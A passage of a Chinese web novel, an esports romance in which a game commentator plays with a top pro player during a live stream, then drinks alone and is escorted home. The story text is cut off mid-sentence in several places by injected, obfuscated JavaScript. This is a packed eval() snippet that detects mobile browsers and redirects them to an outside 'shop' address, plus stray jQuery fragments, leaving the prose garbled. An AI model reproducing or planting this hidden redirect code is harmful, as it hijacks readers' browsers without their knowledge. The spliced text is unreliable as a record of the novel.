【Kate喵喵:小六老师你是噶了吗?】 31分钟前: 【Kate喵喵:快看看元宝TV吧!】 19分钟前: 【Kate喵喵:你再不醒我真的要报警了!】 5分钟前; 【语音未接通。】 1分钟前: 【Kate喵喵:等着,我来你家了。】 陆意扬脑壳发昏,发了语音过去:“怎么了妙妙,我刚睡醒,昨晚上没睡好。” “快看元宝TV。” 陆意扬觉得顶多就是这些解说找了什么大神来带他们,或者PAX全员直播了,别的也没什么可能了。 他点进元宝TV。 WATA2主页。 带着金色皇冠的第一个直播间:【PAX-zonke正在直播。】 但是他好像也没玩游戏啊。 标题:等人。 ????? 等谁? 我吗? 陆意扬此刻的表情活像那个一脸懵逼然后指着自己的表情包。 陆意扬没在手机上登录自己的账号,看见弹幕蹭蹭地刷过去。 【怎么不开游戏?直播霸占第一又不打游戏?】 【不会是等那个解说小六吧。】 【让zonke这么等,认真的吗?】 【不是吧,就真板板正正坐在这里等?】 【他还刷副本了呢!】 【就那几个煞笔副本?】 【谁能催一下赶紧叫小六来啊!】 “不用。”他也不知道在回答谁的问题,然后窝在电竞椅里,看了一下手机又没事儿干似的开了一把副本。 屏幕里的主播点了一下他的[最近一起玩],然后看了下[6老板]还是没有上线。 【这个小六已经有CP了啊,而且不是能看见他们已经[情定27天]了吗?】 【那有什么,不被爱的才是小三。】 陆意扬顶着自己的鸡窝头就去开电脑了。 K妹已经催了八百次了。 陆意扬刚一上线。 【PAX-zonke邀请您进入房间。】 陆意扬愣了两秒,点了同意。 陆意扬怕气氛太尴尬,所以先发起问候。 “啊...中午好。”陆意扬揉了一把脸。 他的手机上弹幕还在滚动。 【真的是在等小六?】 【zonke这是直接出柜了吗?】 【等人就是出柜?这辈子没人等过你是吗?】 【估计是说好了要带小六上分吧。】 【带他一个小解说上分,然后zonke开直播等他一个小时什么也不干,就纯等,你是这个意思吗?】 “嗯。要先吃饭吗?”手机屏幕里的少年坐正了点儿,姿势有点像他坐在自己家沙发上的感觉。 【等了一个小时,然后再等他吃饭?】 【吃鸡毛!打游戏啊!】 “刚醒,不想吃。”陆意扬犹豫了一下他的衣服还要不要,他又不好意思问,不然又要被弹幕曲解。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你买的东西多少钱,我转给你吧。”陆意扬得意洋洋,这总能听出来了吧!他们可不是那种关系!他们是刚认识没多久的朋友,他俩疏离得很呢! “那...算钱的话,你给我做的面条怎么算?”他似乎有点疑惑地说,“我晚点跟阿姨学一下吗做给你吃吗?” 陆意扬裂开了。 他是如何把澄清的话弄越讲越糟糕的? “不用不用,就只是面而已。”陆意扬说,“我给其他朋友都,都做的。” “哪个朋友?” ???? 不是,先不说陆意扬有没有朋友,你不觉得你说话有点冒犯了吗? 不对,好像是陆意扬自己说的,家里没有朋友来所以没东西招待。 但是这对吗? 还好已经排进了游戏。 “你玩什么?”他问。 “都行。”陆意扬觉得这把打完他要想办法逃跑,跟他玩游戏实在太僵硬了。 他就应该装睡,装到他下线为止,人睡24个小时怎么了? “你玩中单。”他说。 “啊?”陆意扬懵了一下,“那你玩什么。” “辅助。”他说。 “啊?”陆意扬二连。 然后英雄就这么选完了。 WPL的顶级中单,贡献榜一溜的品牌方,他背景上满座的奖杯跟展示外设,PAX三个字外环流着光亮,他的直播间挂满了图标,他连喝水的杯子上都印着logo,游戏页面第一的人气,平铺推流还在继续。 他就这样等了一个小时的人,人气不减反增,都要看看zonke等的是何方神圣。 快两个小时后他等到了人,开的第一把游戏还是给一个名不见经传的小解说打辅助。 38.浪费时间 【你打辅助?你疯了还是我疯了?】 【爱情罢了。】 【放心吧,按照我上次看得直播,这把直播页面的还是中单。】 【出门都切了三次视角,你是怕中单跑了吗?】 【总管哥知道他的PAX有太子妃了吗?】 【脱粉了,还没捧杯一脑子只有谈恋爱。】 【直播间是你们这些臭情侣的大床房吗?】 【为什么就不能是兄弟情呢?】 对啊,陆意扬看着这条弹幕想,怎么就不能是兄弟情呢? 就凭我的游戏理解,我让他听完就觉得相见恨晚有什么问题吗? 他就是被这些弹幕带歪了自己的脑子才会一直臆想这些有的没的。 他不禁坐正了,他就大大方方的玩游戏就行了。 其他的跟他有什么关系? 陆意扬起来第一把,手腕没什么感觉,操作着一个叫狄纳斯的英雄,这英雄基本顺风神逆风狗,一个脆皮,输出又高,特别考验操作,外号叫「机关人」。 陆意扬在手腕被玻璃扎穿了手术之后复健了很久,医生在得知他是想做职业电竞手的时候只是低头不语。 但是又说好好康复也有希望,他最开始的时候也会因为手忍不住颤抖就对自己大发脾气,鼠标扔坏了好几个。 然后他就换了东西扔,找来找去找到了一个跳跳球,扔出去还把弹回来还把自己的脸给弹青了好几天,从此之后就改了生气就扔东西的毛病。 现在时间也过去了好久,他那会儿的针灸也确实有效果,所以现在打个一个小时的垃圾操作还可以。 机关人是需要操作他的傀儡狗上去给技能的,所以他的手特别长,而且这个英雄还有不死的保命招,他的R技能在召回傀儡狗的时候无敌,自带金身。 陆意扬从前还是挺喜欢这个英雄的,手长,能控制,伤害高,不吃经济,但是皮实在太脆。 补兵的时候陆意扬就完全利用这个优势,对面最后逼得只能用技能掏兵。 辅助藤可以变成一根藤条,缠在英雄的身上,然后在它身上施法。 对面想抓一波中路,四级藤刚骚扰完他们的野区,等级也到了六级,附在机关人的身上就开始反打。 中路两个残血陆意扬没打算追,去上路gank,但是这两英雄是绝配,长手机器人一控制,藤就把人往回拉,陆意扬平A就可以收走人头。 连野区的野怪藤都送技能让机器人能发育得更快。 陆意扬开始集合推进上路,自己蹲在野区一抓一个准。 机关人的大招到现在都没释放过一次但是他的战绩已经来到了3/0/0。 现在是机关人强势期,藤开始做视野,大招没了就打钱,打完钱就附在陆意扬的身上。 在比赛12分钟的时候他们二人基本能对方露头就秒。 看藤的装备他还要做一把羊刀。 【我就说这把还是中单视角,各位?】 【直男不懂,这个中单救过他的命吗?】 【我看得有点恶心了。】 【zonke在这当舔狗吗?】 【走了,真的没眼看。】 【你gay个强的我也不说什么了,自降身价在这里给一个路人当狗用?】 【这个小六你们以前没刷到过他直播吗?特别菜。】 【我排到过他,打辅助的还总失误。】 游戏还在继续,陆意扬残血还要自信回头,最后一刀都在架在脖子上藤一个加盾顶开机关人自己死了。 这一把藤的技能都没怎么给过别人,基本就长在陆意扬身上了,但是也还好,这把陆意扬打得胆子非常大,一人遛狗三将,卡着视野放蒸汽让对面丢失视野,然后绞杀盘持续伤害,对扛的时候蓝不够还秒点蓝石杀完人又卖,结果TP蓝不够又买两个紫石又秒卖。 陆意扬数次用R金身躲避指向性伤害,藤也往他身上加盾,让一个脆皮中单玩出了前排的效果。 【这机关人的W还出了冻枪?机关人还能这么玩?】 【冻枪加减速加护甲,他皮脆但是甲高啊。】 【请问这是WATA2玩家对菜的标准吗?】 【打个次级联赛没有问题吧?】 【小六官方有资料,他都23了,还职业呢?】 【什么!我们zonke可才19啊!老屁股也是吃上新鸟鸟了!】 【我想起来了,当时沪宁城市赛,zonke就去了,就是小六解说的。】 【你记错了吧,沪宁城市赛是我男神图图解说的。】 【被换了不明白为什么?】 【没人气呗。】 陆意扬打了一把自己挺满意的机关人,MVP给到了14/2/11的陆意扬。 “挺好玩这个,”陆意扬说,“就是还麻烦你打辅助了。” “不麻烦,你还想玩吗?” 不知道为什么,陆意扬感觉他的口气有点软。 “不了吧,你忙吧我走了...” “我不忙,可以关。” 【老子烟钱都刷给你了!你要调情还是要打辅助我都认了,你现在还要关直播会不会太把我当狗了?】 【6再玩一会儿吧,我给你刷礼物行吗?让我看看zonke能舔到什么份上。】 【冷脸顶级中单给我洗内裤,WATA2玩家临死前的幻想居然在这个直播间实现了。】 陆意扬偷看了他的弹幕,虽然被嘲讽的人看起来完全不在意。 陆意扬感觉特别尴尬,只好说,“你这样等我,我...我不太好意思,那个,你忙正事吧。” “我一直都在忙正事。” ? 不是,你知道你在说什么吗! “.........”陆意扬都已经要手脚并用了,“不是,你这样....你这样....算了,你还在直播,我不问了。” 【?????】 【快问。】 【问啊问啊问啊问啊】 【口气不对劲,感觉zonke要被拒绝了?】 礼物与弹幕开始横飞,将zonke的整个屏幕都淹没。 但是突然,直播间直接黑屏显示「主播现在不在家哦~」 满屏幕的问号。 【我鲨了你!!有什么话是我们这些家人不能听的!】 【完了,我有预感zonke不会再开直播了。】 【我现在是无臂老人被涂了痒痒粉。】 【到底问了什么啊啊啊啊啊】 【我就不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906004|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该打开这个直播,完了,今天一天都要想小六到底问了什么。】 —— “关了,你说。” 陆意扬沉默,踌躇几秒,“我知道我去解说人气低,比较需要大主播的流量,这事情谢谢你,但是我们好像,认识也没几天,而且你这样对观众不太负责,你,你是中单,人家是来看你玩的,别...这样,尊重一下观众。而且,你...我们也不熟。” 陆意扬其实说得很委婉了,选手玩什么都是选手的自由,哪怕他今天练一天的辅助也无非只需要说一声跟中辅联动差了一点练练就可以,没有什么硬性的要求。 但是谈年把陆意扬至于整个直播的中心,他最近频繁得出现在陆意扬的身边,他不想多想都有点难。 耳机里的人沉默了。 其实陆意扬说完自己也沉默了,他好像疯了呢,他跟人对喷的时候什么尊重,他巴不得拿着斩首大刀把对面的水友砍死才好。 但是他对谈年不太一样,等当时的愤怒开始消散,取而代之是缠他身上挣钱,但是他在什么都不知道的情况下,自己被保护,被善待。 陆意扬现在情感有点复杂,要是他没有羊崽的身份,可能他也可以没心没肺一样跟PAX混在一起,可能还觉得自己挺厉害。 但是他逃也逃不掉羊崽的身份,没法一笔抹消掉自己干的缺德事儿。 “知道了。”他问,“还玩吗?” 还玩毛啊,陆意扬滚动着鼠标上的滚轮,“就…不了吧。” “好。”他说。 “那个,谢谢你啊,”陆意扬故作轻松地说,“我当解说就是随便闹着玩的,你别...” “别浪费时间了。” 陆意扬自己退出了房间,忽然没来由的失落。 刚刚还有点儿太阳,阳台上浅蓝色的外套被风吹得晃动,陆意扬靠在椅子上,手臂垂在身侧,这一会儿就开始阴了天了。 似乎还要下雨,陆意扬站起身来去收衣服,他把谈年的外套跟白t折起来,看看要不要寄过去PAX的训练基地,他们的地址反正官网都有。 想到这里陆意扬又打开手机,就看见那天被火锅底料弄脏的卫衣赔给他的卫衣已经开始配送了,虽然有点贵,但是陆意扬的钱本来就是靠着他挣的啊,在这装什么呢。 陆意扬查完他送的那些堆在角落的东西,又开着小号冲了点钱,在他的直播间丢了几个礼物。 这总是算清楚钱了,这么算可没亏你的了啊,我都没这么给人刷过礼物。 等衣服到找个跑腿,把他的衣服给他送过去,陆意扬实在受不了这么割裂的日子了。 他现在看这条椅子都有点不爽了。 他甚至现在都想要不咱就把[羊崽]的账号放了呢。 或者.....完全的注销掉..... 不行,我在犯傻吗! 销号简单起号难,咱可不能因为一点小恩小惠的就犯糊涂。 就当没认识过,陆意扬叼着烟吸了一口,伸了个懒腰,伸了下懒腰。 人生哪有过不去的坎呀!以前那个死样子我不都过来了吗。 他有点饿了,一打开冰箱,满满当当,都是他送的东西。 陆意扬的背忽然又驼了。 冰箱吹出来的风好冷。 39.羊肠小道 陆意扬躺床上想睡大觉。 现在没有批阅各大APP的心情了。 但是身体似乎已经有点儿条件反射的点开了微博。 【羊崽,我们有救了!】 【喜大普奔!zonke被拒绝了!】 【恭喜你羊崽被我恭喜到了。】 【有人看海,有人被踹,而我们羊崽爱你不知悔改@PAX-zonke[比心]】 【那个臭解说不要的东西凭什么我们羊崽得要?】 【得了吧你,你家羊崽也不是啥值钱玩意儿。】 满屏幕的红心跟红喜,陆意扬差点以为自己在微博结婚了。 【羊崽,你听我的,现在zonke受了情伤,你正好可以趁虚而入。】 【但是你看zonke显然是个颜控啊,羊崽要不要发几张假照片?】 【[图片]真受不了你们了[扶额],哥的照片拿去用吧。】 【楼上的瘟猪可以滚出去吗?】 【狗东西上线了,是不是乐坏了?】 【恭迎废妃回宫!】 【羊肠小道欢迎您的光临 @PAX-zonke】 陆意扬本来觉得心里空空的,看完这些流民的发言觉得要不然跟他们一起死了算了。 他的手里旋转着手机,也不知道知道自己要干嘛。 晚上还有PAX的比赛,他也不想看了,多看多闹心。 陆意扬开始考虑,咱能不能自己把这个账号盘活啊? 就是,我自己,不是蹭别人。 好歹也几百万粉丝呢,不用来挣钱肯定是我脑子坏了。 他随便翻了一些被屏蔽掉的消息,发现,啧,这狗游戏的人素质是真的低。 【羊崽:作为一个互联网游戏资讯博主,羊崽有义务在这里呼吁WATA2游戏玩家告别脏话,友好交流,包容成长,四海一家。 羊崽将发起首个WATA2玩家告别脏话活动,留下你的ID,为自己加油,为素质喝彩,为文明游戏增辉! 来吧,羊圈的朋友们,让我们和谐游戏,让我们告别脏话,共创美好WATA2游戏新环境!】 【........你又在发你吗疯?】 【与脏话告别?狗比先跟你的梦话告别。】 【这鸡脖活动真是傻得一笔哦】 【我踢你的两腿之间你也不讲脏话是吗。】 【挑战不说脏话第一天,想日狗】 【你个吊人是怎么敢让你爹我告别标点符号的?】 啊,终于找到了一句不带脏话的,让陆意扬来欣赏一下。 【分别只是为了更好的重逢。】 ? 【@PAX-zonke,来管管,怎么还给孩子整疯了?】 【@PAX-zonke,我好好的羊崽交给你,你就还给我这种玩意儿?】 怎么又扯到他身上去了,现在陆意扬真是看见他的名字都虎躯一震。 他别回了吧。 PAX-zonke赞过 啧,好烦你啊。 只能默默地关闭了手机,不行,他要解绑,他要离这个人远一点。 就遇上几次,次次都小鹿吃了耗子药一样发疯乱撞,血压乱飙,陆意扬不说见过大世面吧,那学校国旗下讲话,什么城市赛解说,刚起号的时候撕逼一晚上他都没这么紧张过。 陆意扬洗了把脸,手机亮了。 掌上WATA突然弹出消息: 【N:在?】 陆意扬似乎找到了朋友一般,就从沙发上起来了。 坐在电竞椅上,他刚刚的游戏还没下。 陆意扬拉他进房,却发现好像跟这个小粉丝也说不清楚他到底在想什么。 “你最近好忙。”陆意扬说,“都没来看我。” 【N:看你了。】 “唉。”陆意扬叹了口气,“游戏也不想玩。” 【N:哦。】 他这个小粉丝就是一点情绪价值都没有。 正常人好歹问问怎么了,他从来不问。 【N:玩吗?】 “开一把吧。”陆意扬现在真的需要干点什么来分散一下注意力了。 二人进入排位,陆意扬说,“你玩什么英雄。” 【N:中单。】 “我刚刚玩了一把机关人挺好玩的。”陆意扬说,“有辅助保着,杀爽了。” 【N:还玩吗?】 陆意扬的心思却没在他的问题上,又说,“你忙的这两天我上了不少分,都600多了。” 【N:嗯。】 “但是估计以后他们不会带我玩了。” 【N:你想跟他们玩?】 “跟你玩也很好啊,就是...唉不知道怎么说,反正就是,一团糟。” 【N:你不舒服?】 “也不是吧,我...”陆意扬犹豫了一下说,“就是我觉得有点紧张...” “就是,我碰到个人,年纪还比我小呢然后...” 陆意扬说到这里耳朵都红了,“对我挺好的,我也不知道他什么意思,但是他就挺莫名其妙的我也不知道我在说什么,反正,现在不跟我玩了。” “你怎么不说话?” 【N:不是很能理解你在说什么。】 太好了,就喜欢跟这种傻不拉几的人说心事,因为说了他们也不懂。 “是吧,我也有点不理解。” 二人选完人往河道走,“我现在都不敢开直播了。” 【N:你不想他找你?】 “没啊,”陆意扬说,“...哎也不全是吧,我自己有病,我自己去跟他说我很关注他,估计让他误会了,我这嘴。” “但是...”陆意扬自言自语的,“我还挺喜欢跟他玩游戏的。” 沉默着打游戏去了。 没有人知道他的心事,他也不敢让任何人知道自己的心事。 陆意扬就这么沉默地打着游戏,他的小粉丝也这么安静。 等到他的手腕都已经发麻了,他还是有点想玩。 因为不玩游戏的话,他可能就是乱翻乱看,还是会不自觉地去看比赛或者什么。 他不想这样,技能都频频失误了,他还是开了一把又一把。 但是他的小粉丝却打得越来越强势,硬拉着他就上700分,陆意扬自己都看笑了。 “呵,我现在是真的有点废,”陆意扬舔了下嘴唇,“拖你后腿了。” 【N:我有点事。】 陆意扬看着时间,也已经来到了晚上九点。 陆意扬乱翻着电脑上的东西,又不自觉地想点到官方直播间去,一点进去就看见了他的大头照,给陆意扬吓一跳,手指点退出点得筋膜枪还快。 陆意扬一个猛子站起来,不行,我得找点别的事情干。 对,我今天还没吃东西,我吃点东西! 陆意扬打开冰箱门,一大堆都是人家送的菜。 关上冰箱门,外面送的零食水果。 他往后倒退两步,差点被他送的东西的纸箱绊了。 他有点烦。 他噔噔噔地下了楼,拽着自己的自行车就去骑,他也不知道他怎么了,就是感觉烦。 他越踩越用力,四月的风又潮又痒,白色的衬衫外套猎猎作响,他从偏远的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920489|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学城往市区里面骑,他想找一家顺眼的店来大吃一顿,实在不行再喝两瓶啤酒,喝了回去大睡一觉。 他在家里没出事之前也是喜欢交朋友的,之后就没有了,似乎他们的家长都让孩子躲着陆意扬走,也不怪他们,别说他们了,哪怕是亲戚都怕陆意扬携着从前他爸爸的恩情来借钱嘛。 千宠万爱的陆意扬是可以接受别人莫名其妙对他好的,甚至觉得很正常。 现在的陆意扬不行了。 陆意扬找了一家苍蝇馆子,看着就便宜,随便点了几个菜,要了两瓶啤酒。 他坐在靠窗的位置,玻璃上贴着红色的字跟电话号,看着已经褪色了。 店里就陆意扬一桌的客人,老板娘在后厨洗碗,搓筷子的声音让人烦躁。 他给自己灌了几杯马尿,这辣椒鸡丁有点辣。 冰啤酒有点割嗓子。 他点了一根烟,随手翻着手机上的消息。 【今天PAX第二把怎么让二队的啊,要换中单了?不可能吧?】 【不是说今天zonke被拒绝了吗,心情不好?】 【心情不好就可以不打比赛?】 【那本来二队的人没事就上常规赛啊,这有什么?】 【那我压的元宝算什么?】 【楼上别扯了,开注之前不就定了运动员了吗。】 【[图片][图片]这是zonke吗?好像去医院了。】 图片实在太模糊了,照片上只有一个背影,走进了医院的急诊。 陆意扬酒量实在是差,就喝了半瓶啤酒眼睛就花了又花。 他感觉这个背影是他,但是又不确定是他,这个背影好像在哪里见过,他想不起来了。 他怎么了?下午不还好好的吗? 喝了酒了,胆子也大了,他找到了「干饭小分队」然后@Kate喵喵。 “那个,那个谁,晚上怎么没比赛啊?”陆意扬给她发语音条。 “他,怎么了呀?”他装不在意地问。 陆意扬的手机在他手心里转来转去,亮了。 他赶紧听。 Kate喵喵:“我不知道呀,要问问吗。” “不用不用,”陆意扬又补了一句,“嗯,别说我问过。” Kate喵喵:“好呀,诶对了小六老师你在哪呢。” “在外面吃饭,怎么了?” Kate喵喵:“哦,在哪里吃饭啊,离双塔路近吗?” “我在湖岭路,怎么了?” Kate喵喵:“.....哦,就是....啊对,我那个什么,我身份证丢了,我想着你在那附近的话帮我去拿一下,但是你在那就算了。” “行吧。”陆意扬关了微信。 陆意扬去闲逛了一下PAX其他成员的微博,也没看到关于他没比赛出了什么事儿的消息。 他一个人又点了一瓶啤酒,桌子上的菜也没怎么动,他打了一个酒嗝,有点儿驼背地坐在椅子上。 他伸了个懒腰想松松自己的背,可是不知不觉地又驼了。 他也不知道发了多久的呆。 再抬头的时候,陆意扬不可置信地眨了眨眼睛。 他似乎没有找到合适的理由解释自己为什么会出现在这里,窗边落地广告的黄色灯光印在他半边侧脸上,他舔了下嘴唇,陆意扬眉毛都高低了,红着脸给找他的万金油借口,“你又来买东西?” “不是,”对面的人坐下来,帽檐下眼睛直视陆意扬,“来刷一下东西。” 陆意扬疑惑,“刷?刷什么?” 对面的人拿着茶壶倒了一杯热水,指尖推至陆意扬面前:“存在感。” 40.他的雾灯 陆意扬有点儿迷茫,感觉他的香烟是不是产生了什么迷药的效果?不然怎么会大变活人?他歪着头看了一会儿,接着把烟扔在地上踩了一脚又在下面摆了好几下手把烟雾打散。 他抬头看了谈年一眼,抿着唇又开始捡桌子上乱扔的纸巾,菜没怎么动,但是就两盘,一个辣子鸡丁,一个水煮肉片。 “你的存在感.....”陆意扬的脸红彤彤的,他手上还在用纸擦桌子,低着头,“刷过了,你可以....”走了。 “我还没吃饭。” 陆意扬舔了下嘴唇,耳朵都红了,看着桌子上没打开的塑装碗筷,“哦,那....” 陆意扬本来是用筷子啪一下子扎烂塑料膜的做法,现在开始用上手指抠了。 “你不太高兴。” 陆意扬喝了两瓶半的啤酒,这会儿脸红得有点儿难受了。 “没。”陆意扬开始找别的话说,“你的衣服我洗好了,给你寄到基地去吗?” “都可以。” 陆意扬的脑子迷迷糊糊,应了一声:“哦。” 他的下巴都要磕到桌子上了。 破旧的苍蝇馆子,木质的桌椅,穿着白色衬衫的陆意扬脸是红的,眼睛也是红的,他搓了好几次手腕,然后指着手机上的照片问,“他们说你去医院了。” 这是谈年第一次看清他的手腕,他有修长漂亮的手指,却配上了最残忍的手链,半圈的缝针,因为针灸复健次数太多而遗留的小块,连片的白色瘢痕。 陆意扬感受到他的目光,一下子就把手腕缩回握住,“我,我平常戴手表了,就...今天忘了,吓到你了。”他接着扯了好几下袖子。 谈年的坐在他的对面,他大晚上地依然戴着棒球帽,看不清楚他的眼睛。 这饭店的日光灯有点儿久远,陆意扬松开了紧紧窟住自己手腕的手,抬起头来看他,他能猜到是自己问了妙妙的缘故。 “是送你去医院的时候的照片。”他说。 “哦。” 二人就沉默着。 陆意扬又喝了一杯啤酒,接着,“你....你的存在感刷好了吗。” 谈年坐姿比陆意扬硬挺不少,而且他不会逃避眼神,就直勾勾地看着陆意扬,“还想刷点别的。” “什、什么?” “好感度。” ......真是服了,他能不能....别这么直白的,这,这你让我说什么? 陆意扬没招,又喝了一杯啤酒,喝急了,有点想咳嗽,最后憋住了起伏的胸膛,拿纸揩过嘴角。 “我...”陆意扬都不知道第几次舔嘴唇了,“你....你....你在这吃吧,我...我...我要回家了。” “我可以送你回家吗?” 怎么又是这个问题! 你又要上我家干什么啊! 你来一次我都要碎一次了! “不....”陆意扬被他盯得有点发毛,“不用。” 白炽灯年久,被烟熏火燎,帽檐下被阴影遮住的眼睛清亮,陆意扬低下头不敢看他的眼睛。 “客人吃好了没有呀!”老板娘的手搓在自己的围裙上,这会儿才看见他们的门头的灯都已经关了,整个饭店的灯一下子暗了下来,“我们要下班啦!” 陆意扬想跑了,他一张桌子一张桌子地摸着出门,然后去拽他的自行车。 被风一吹,他抬起来头看着夜色,再回头的时候谈年已经走到他前面。 陆意扬拽着他的自行车,他又低头看着自己的车把手,他抓得很紧,紧得手上的青色的血管也可见,有点像落荒而逃之前最后体面:“我回去了,你也早点回吧。” “好。”他的口气完全没有被拒绝的沮丧,听起来跟平常没什么区别。 这儿有点儿靠近公园,大晚上夜半路面有点儿雾。 陆意扬跨上了自行车,往前骑了几米之后身后的车只亮了一个雾灯。 雾灯缓缓地跟在他身后,照亮前面的散落在路面上的云团。 陆意扬感觉手臂上起了鸡皮疙瘩。 陆意扬想要回头看,但是最后也没有。 他往前骑,那车就不远不近地跟着,可能是对面的车灯太刺眼了,也可能是晚上有点冷了,更可能是他喝了酒不舒服,他就是觉得眼睛痛。 他用力地睁着眼睛,接着越骑越快,就直接骑到了小区门口。 他的车没有录入车牌,他进不来的。 陆意扬像个逃出生天的人一样冲了进去。 他不知道自己在怕什么,在躲什么,在逃什么,但是此刻他只想赶紧回家。 陆意扬喝了酒,猛然没有了灯光就撞上地上的大理石球,我草! “砰”的一声! 这破自行车的车座本来就他妈卡蛋,这一撞陆意扬的眼泪都要出来了。 陆意扬想捂着自己的下身,但是这姿势实在不雅观,这车他也没法管了,又一声“砰嗙”的声音,暗处的自行车倒在了地上,后轮还在尽兴地转圈。 谈年的车是一个急刹,陆意扬甚至能听见声音,他泪眼朦胧地就看见那个人慌乱地扯掉自己的安全带,差不多是几步并在一起跑到他面前。 陆意扬的膝盖磕在地上,右手撑在地面,他痛得嘴唇都发抖但是又不能说是哪里痛。 是忍不了的剧痛,撞到过蛋的朋友都懂。 谈年的喘息声在他身边,他慌乱地打量着陆意扬,托着他的手肘想要扶他起来。 陆意扬的嗓子发出生硬的,“痛。” 他这句话刚说完,眼泪就在眼眶了,视线都要模糊了。 身边的人更慌了,他的眼睛一直在看来看去,他将手背放在路面上,邀请陆意扬发抖的膝盖跪在他的手上,就可以别那么痛。 陆意扬还在注意表情管理,不想看起来太狰狞,但是眼泪是适时地掉了下来。 蛋...要碎了.... 陆意扬拧紧了眉头,别过头去不让他看。 谈年犹豫了一下,然后,似乎想帮他擦眼泪。 但是手没下来,陆意扬先倒退一步。 剧痛之后紧绷的神经松懈,陆意扬吞咽了一下口水,撑着自己膝盖要起来。 他使不上劲儿,只能搭着谈年的肩膀,他额头冒出细密的汗。 起身之后,他又倒退了一步,刻意与陆意扬保持距离。 “我送你到家就走。” 陆意扬没有说话。 他把倒地的自行车放在路边保安亭,他伸手想要扶一下走路都跛脚的陆意扬,又收回。 “你的东西刚好可以带回去。”陆意扬也给自己找了个借口。 破小区的电梯今日维修,又给陆意扬气笑了。 上楼梯的时候陆意扬只能抓着扶手往上,声控灯,还坏了,看缘分亮。 其实也能让他亮,就是喊的特别大声就行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931609|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆意扬一头的汗,刚刚那一下是清醒了,但是现在又有点想吐了。 他又不好意思在他面前吐,沉沉地克制了好几下,但是实在难受。 喝了酒吹了风酒劲儿又上来了。 陆意扬差点儿踩滑了台阶,刚想完了就被一只手拉住了,但是那手很快反应过来就要松开。 陆意扬胸口一阵恶心想吐,这时候猛然拉紧了谈年的手,一秒就松开。 黑暗里沉沉地喘气,一步都走不了了,坐在台阶上。 黑暗里少年坐在他边上,搁着一拳的距离,纵使酒醉也依然感觉到尴尬。 陆意扬感觉这个时候应该说点什么来修正缓解一下现在这个让他觉得心跳有点过快的场面,他会说很多缓解气氛的笑话,但是现在却一个字也说不出来。 陆意扬缓了一下起来继续走,终于,他到了家。 他从兜里掏钥匙,对准锁孔插了好几下都不准,他嘀咕了一句,有点不稳往后趔趄,身后的少年伸出一只手,扶住了他的手指,将钥匙插入了锁孔。 陆意扬感受到他的呼吸就在自己的颈侧,感受他凉意的手掌刚刚拖着他的手背,愣了一下打开了门。 要是换成平时的陆意扬,绝对已经敏感地感知到这个距离不是一个正常礼貌的社交距离了,但是他今天喝了点酒,没有那么一惊一乍的了,他反应有点迟钝,不是有点,非常迟钝。 陆意扬进了门,跌跌撞撞地就往沙发上撞,他甩了鞋子,往沙发上一窝。 谈年打开了灯,站在阳台前面就轻车熟路地旧水壶放在新水壶的盒子里搁在角落,洗了一下新水壶就烧上了水。 他在卫生间里洗完自己的手,又拧了一块热毛巾。 陆意扬的白衬衫外套沾了不少的灰,他似乎不舒服,胸口有点起伏,但是没力气起来。 谈年伸手又缩回,然后陆意扬趴在沙发边沿就要吐了。 谈年拽着他的手放在自己的肩膀上,拽着人就要去卫生间。 陆意扬还有一点点理智,没有吐在人上,他捂着自己的嘴,到马桶边上才开始吐。 谈年起来想拿杯子给他漱口,但是马桶盖被他自己顶到,又砸他头上。 陆意扬本来是蹲着的,一砸就跪下了,他撑着手,觉得自己倒霉透了。 水递到陆意扬的嘴边,“漱口。” 陆意扬不想喝水,只想摇头,反胃让他的眼睛红成一片。 谈年看着他的下巴还沾着脏污,身上的衬衫又不像样,跟破皮的地方粘在一起。 陆意扬跪在在地上,喘着气,感觉自己像一条被人围观的落水狗。 谈年将手掌垫在陆意扬的膝盖下面,也不看陆意扬的表情。 喘着气抓他的衣服,陆意扬有话要问,他的第六感向来很准,想质问他,你是不是同性恋,你是不是想跟我搞基,你是不是看上我了,我可不会的,我是直男,你别妄想了! 但是他撑在马桶上的手一滑,整个人就趴到了谈年的身上。 他能感觉谈年身体一震,“我太脏了...”陆意扬刚要找地方借力手忙脚乱地起来... 却听见他笃定地说,“没有。” 本来蹲着的人一条腿膝盖落地,稳住了身体,塑料杯从他的手上掉落,水光溅起一点儿,凉意只够让心乱一瞬,杯子咕噜噜地滚过去。 陆意扬被人稳稳地接住,耳边是哑声的:“......陆意扬,我....” 41.羊确诊了 陆意扬再醒的时候是脑袋的剧痛。 